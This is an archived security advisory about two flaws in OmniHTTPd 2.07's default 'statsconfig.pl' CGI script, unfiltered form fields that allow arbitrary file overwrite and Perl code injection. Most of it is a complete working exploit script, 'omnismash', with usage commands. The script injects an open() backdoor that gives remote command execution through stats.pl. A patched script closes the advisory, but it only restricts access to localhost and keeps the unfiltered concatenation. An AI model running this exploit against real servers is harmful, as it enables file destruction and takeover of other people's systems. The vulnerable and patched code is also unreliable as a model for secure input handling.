COMMAND
OmniHTTPd
SYSTEMS AFFECTED
OmniHTTPd
PROBLEM
Joe Testa found following. Two vulnerabilities exist within the
'statsconfig.pl' script that comes with OmniHTTPd v2.07 and is
installed by default. The first allows a remote attacker to
corrupt any file in the system. The second allows arbitrary code
to be inserted into '/cgi-bin/stats.pl'.
Here is the offending code:
if ($FORM{'mostbrowsers'}) {
$mostbrowsers_str = '$most_browsers = "' .
$FORM{'mostbrowsers'} . '";';
}
...
unless (-f "$FORM{'cgidir'}/stats.prg") {
$error .= "<LI>Config couldn't find the file stats.prg in
your cgi-bin directory.";
[ exit(); ]
}
...
$cgifile = "$FORM{'cgidir'}/stats.pl";
$progfile = "$FORM{'cgidir'}/stats.prg";
open(CGI, "> $cgifile");
open(PROG, "$progfile");
print CGI "#!/usr/local/bin/perl5\n";
print CGI "#AutoConfiged by Statsconfig.pl\n\n";
print CGI "$deflimit_str\n$mostip_str\n$mostreq_str\n$mostbrowsers_str\n$timelog_str\n$mostipnum_str\n$mostreqf_str\n$mostbrowsernum_str\n$logloc_str\n$imagebar_str\n$serveradd_str\n$barwidth_str\n$barheight_str\n$listpass_str\n$bgcolor_str\n$bgimage_str\n$ttBGcolor_str\n\n$perllib_str\n";
...
None of the variables in %FORM are filtered. An attacker simply
sets $FORM{'cgidir'} to the absolute path of any file in the
system (padded with a null, of course), and that file will be
corrupted. Note that because absolute file names are used, this
exploit is not restricted to the drive the webserver resides on.
Code injection is achieved by setting $FORM{'mostbrowsers'} to any
legal value, followed by a semicolon and the payload.
Joe has written an exploit in PERL to demonstrate the two
vulnerabilities. To corrupt a file:
perl omnismash.pl localhost 80 -corrupt c:/autoexec.bak
The file you choose will be overwritten with approximately 470
bytes of PERL code.
To inject code into '/cgi-bin/stats.pl':
perl omnismash.pl localhost 80 -inject c:/httpd/cgi-bin
You must pass the absolute path to the cgi-bin directory for this
to work. This exploit is hard-coded to insert the following line:
if( $ENV{'QUERY_STRING'} ) { open( QS,$ENV{'QUERY_STRING'} ); }
With that done, point your browser to
http://localhost/cgi-bin/stats.pl?|dir
You will see a directory listing of '/cgi-bin'. Exploit:
#!/usr/bin/perl
######################################################
# #
# omnismash v1.2 by Joe Testa [01.08.2001 9:26PM] #
# ( joetesta@hushmail.com ) #
# #
######################################################
# #
# This program exploits two holes in #
# 'statsconfig.pl', a cgi script which is installed #
# by default by OmniHTTPd v2.07 (and possibly older #
# versions). #
# #
# 1.) Any file on the system may be corrupted, #
# including those on drives the server does not #
# reside on. #
# #
# #
# Example: #
# #
# perl omnismash.pl localhost 80 -corrupt #
# c:\autoexec.bak #
# #
# #
# 2.) Code can be injected into #
# '/cgi-bin/stats.pl'. The absolute path to the #
# the 'cgi-bin' must already be known. #
# #
# #
# Example: #
# #
# perl omnismash.pl localhost 80 -inject #
# c:/httpd/cgi-bin #
# #
# This exploit is set to insert a bare 'open()' call #
# to allow command execution like so: #
# #
# http://localhost/cgi-bin/stats.pl?|dir #
# #
######################################################
use IO::Socket;
print "\nomnismash v1.2 by Joe Testa [01.08.2001 9:26PM]\n";
print " ( joetesta\@hushmail.com )\n\n\n";
if ( scalar @ARGV < 4 ) {
print "usage: perl omnismash.pl target port " .
"[ -inject cgipath | -corrupt file ]\n";
exit();
}
$target = $ARGV[ 0 ];
$port = $ARGV[ 1 ];
$inject_or_corrupt = $ARGV[ 2 ];
$stuff = $ARGV[ 3 ];
print "Creating socket... ";
$sock = new IO::Socket::INET( PeerAddr => $target,
PeerPort => int( $port ),
Proto => 'tcp' );
die "$!" unless $sock;
print "done.\n";
if ( $inject_or_corrupt eq '-inject' ) {
$worthless_stuff = "perllib=" . $stuff . "/statsconfig.pl%00&" .
"cgidir=" . $stuff;
$more_worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
"mostbrowsers=on&timelog=on&mostipnum=5&" .
"mostreqf=5&mostbrowsernum=5";
$semi_important_stuff = ";%20if(\$ENV{'QUERY_STRING'})" .
"{open(QS,\$ENV{'QUERY_STRING'});}\$a%3D1&" .
"logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
"imagebar=%2Fstatsbar.gif&" .
"serveradd=%3C%21--%23echo+var%3D&" .
"barwidth=100&barheight=5&listpass=&" .
"bgcolor=%23FFFFFF&bgimage=&" .
"ttBGcolor=%23FFFFDD";
$exploit = $worthless_stuff . $more_worthless_stuff .
$semi_important_stuff;
} elsif ( $inject_or_corrupt eq '-corrupt' ) {
# Cheap hex encoding....
$stuff =~ s/:/\%3A/g; # ':' => %3A
$stuff =~ s/\\/\%2F/g; # '\' => %2F
$stuff =~ s/\//\%2F/g; # '/' => %2F
$stuff =~ s/ /\%20/g; # ' ' => %20
$stuff =~ s/\./%2E/g; # '.' => %2E
# This appends a hex-encoded null character to the file to truncate
# text that is appended to it by statsconfig.pl during processing.
$stuff .= "%00";
# Construct the exploit string. This does nothing more than set
# the 'perllib' and 'cgidir' fields to our null-padded filename,
# then add additional fields to pass a series of "if()" checks.
$worthless_stuff = "&deflimit=&mostip=on&mostreq=on&" .
"mostbrowsers=on&timelog=on&mostipnum=5&" .
"mostreqf=5&mostbrowsernum=5&" .
"logloc=c%3A%2Fhttpd%2Flogs%2Faccess.log&" .
"imagebar=%2Fstatsbar.gif&" .
"serveradd=%3C%21--%23echo+var%3D&" .
"barwidth=100&barheight=5&listpass=&" .
"bgcolor=%23FFFFFF&bgimage=&" .
"ttBGcolor=%23FFFFDD";
$exploit = "perllib=" . $stuff . "&cgidir=" . $stuff .
$worthless_stuff;
}
$length = length( $exploit );
# Write the string to the socket...
print "Sending exploit string... ";
print $sock "POST /cgi-bin/statsconfig.pl HTTP/1.0\n";
print $sock "Content-type: application/x-www-form-urlencoded\n";
print $sock "Content-length: $length\n\n";
print $sock $exploit;
print "done.\n";
# Read result from server...
print "Waiting for response...\n\n";
read( $sock, $buffer, 1024 );
print $buffer;
close( $sock );
exit();
SOLUTION
Erase 'statsconfig.pl' along with any other unnecessary files in
your 'cgi-bin'. If this is not possible in your particular
situation, replace your current 'statsconfig.pl' file with the
attached 'statsconfig.fixed' file. This version allows
'statsconfig.pl' to be invoked only from localhost.
if ( $ENV{'REMOTE_ADDR'} ne '127.0.0.1' ) {
print "Content-type: text/html\n\n";
print "<html><center>'statsconfig.pl' may be invoked only from ";
print "the localhost</center></html>";
exit();
}
# Get the input
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
# Split the name-value pairs
@pairs = split(/&/, $buffer);
foreach $pair (@pairs){
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
if ($FORM{'deflimit'}) {
$deflimit_str = '$DEF_lim = ' . $FORM{'deflimit'} . ';';
}
else {
$deflimit_str = '#$DEF_lim = 500';
}
if ($FORM{'mostip'}) {
$mostip_str = '$most_ip = "' . $FORM{'mostip'} . '";';
}
else {
$mostip_str = '#most_ip = "off";';
}
if ($FORM{'mostreq'}) {
$mostreq_str = '$most_req = "' . $FORM{'mostreq'} . '";';
}
else {
$mostreq_str = '#$most_req = "off";';
}
if ($FORM{'mostbrowsers'}) {
$mostbrowsers_str = '$most_browsers = "' . $FORM{'mostbrowsers'} . '";';
}
else {
$mostbrowsers_str = '#$most_browsers = "off";';
}
if ($FORM{'timelog'}) {
$timelog_str = '$timelogging = "' . $FORM{'timelog'} . '";';
}
else {
$timelog_str = '#timelogging = "off";';
}
if ($FORM{'mostipnum'}) {
$mostipnum_str = '$most_ip_num = ' . $FORM{'mostipnum'} . ';';
}
elsif ($FORM{'mostip'}) {
$error .= "<LI>Number of top IP's needs to be positive. If you want it disabled unckeck the apropriate box.";
}
else {
$mostipnum_str = '$most_ip_num = 0;';
}
if ($FORM{'mostbrowsernum'}) {
$mostbrowsernum_str = '$most_browser_num = ' . $FORM{'mostbrowsernum'} . ';';
}
elsif ($FORM{'mostbrowsers'}) {
$error .= "<LI>Number of top browsers needs to be positive. If you want it disabled unckeck the apropriate box.";
}
else {
$mostbrowsernum_str = '$most_browser_num = 0;';
}
if ($FORM{'mostreqf'}) {
$mostreqf_str = '$most_req_f = ' . $FORM{'mostreqf'} . ';';
}
elsif ($FORM{'mostreq'}) {
$error .= "<LI>Number of top files needs to be positive. If you want it disabled unckeck the apropriate box.";
}
else {
$mostreqf_str = '$most_req_f = 0;';
}
if ($FORM{'logloc'}) {
$logloc_str = '$accesslog = "' . $FORM{'logloc'} . '";';
}
else {
$error .= "<LI>No access log location specifed.";
}
if ($FORM{'imagebar'}) {
$imagebar_str = '$imagebar = "' . $FORM{'imagebar'} . '";';
}
else {
$error .= "<LI>No bar image specified.";
}
if ($FORM{'serveradd'}) {
$serveradd_str = '$serveradd = "' . $FORM{'serveradd'} . '";';
}
else {
$serveradd_str = '$serveradd = "this server";';
}
if ($FORM{'barwidth'}) {
if ($FORM{'barwidth'} > 0) {
$barwidth_str = '$barwidth = ' . $FORM{'barwidth'} . ';';
}
else {
$error .= "<LI>Bar width needs to be a positive number.";
}
}
else {
$error .= "<LI>The bar width needs to be entered.";
}
if ($FORM{'barheight'}) {
if ($FORM{'barheight'} > 0) {
$barheight_str = '$barheight = ' . $FORM{'barheight'} . ';';
}
else {
$error .= "<LI>Bar height needs to be a positive number.";
}
}
else {
$error .= "<LI>The bar height needs to be entered.";
}
if ($FORM{'listpass'}) {
$listpass_str = '$listpass = "' . $FORM{'listpass'} . '";';
}
else {
$listpass_str = '#listpass = "";';
}
if ($FORM{'bgcolor'}) {
$bgcolor_str = '$bgcolor = "' . $FORM{'bgcolor'} . '";';
}
else {
$bgcolor_str = '$bgcolor = "#FFFFFF";';
}
if ($FORM{'bgimage'}) {
$bgimage_str = '$bgimage = "' . $FORM{'bgimage'} . '";';
}
else {
$bgimage_str = '$bgimage = "";';
}
if ($FORM{'ttBGcolor'}) {
$ttBGcolor_str = '$tableTopBGColor = "' . $FORM{'ttBGcolor'} . '";';
}
else {
$ttBGcolor_str = '$tableTopBGColor = "#ffffdd";';
}
if ($FORM{'perllib'}) {
$perllib_str = 'push(@INC,"'. $FORM{'perllib'} . '");';
}
else {
$error .= "<LI>You didn't report the location of your perl lib directory.";
}
unless ($FORM{'cgidir'}) {
$error .= "<LI>You didn't report the location of your cgi-bin directory.";
}
unless (-f "$FORM{'cgidir'}/stats.prg") {
$error .= "<LI>Config couldn't find the file stats.prg in your cgi-bin directory.";
}
unless (-f "$FORM{'perllib'}/ctime.pl") {
$error .= "<LI>Config couldn't find ctime.pl in your specifed perl lib directory of $FORM{'perllib'}.";
}
print "Content-type: text/html\n\n";
if ($error) {
print "<HTML><H3>Errors: <UL>\n$error</UL><P>Please go back and retry.</H3></HTML>";
exit();
}
$cgifile = "$FORM{'cgidir'}/stats.pl";
$progfile = "$FORM{'cgidir'}/stats.prg";
open(CGI, ">$cgifile");
open(PROG, "<$progfile");
print CGI "#!/usr/local/bin/perl5\n";
print CGI "#AutoConfiged by Statsconfig.pl\n\n";
print CGI "$deflimit_str\n$mostip_str\n$mostreq_str\n$mostbrowsers_str\n$timelog_str\n$mostipnum_str\n$mostreqf_str\n$mostbrowsernum_str\n$logloc_str\n$imagebar_str\n$serveradd_str\n$barwidth_str\n$barheight_str\n$listpass_str\n$bgcolor_str\n$bgimage_str\n$ttBGcolor_str\n\n$perllib_str\n";
if ($FORM{'debugon'}) {
print CGI '$debug = 1;' . "\n";
}
print GCI "\n";
while (<PROG>) {
print CGI $_;
}
print "<HTML>\n<BODY BGCOLOR=#FFFFFF>\n<center>\n<h2>Stats successfuly configured.</h2>\n",
"<FORM ACTION=\"/cgi-bin/stats.pl\" METHOD=POST>\n",
"<INPUT TYPE=\"submit\" VALUE=\"Click here to try it out\">\n",
"</FORM>\n</center>\n</BODY>\n</HTML>";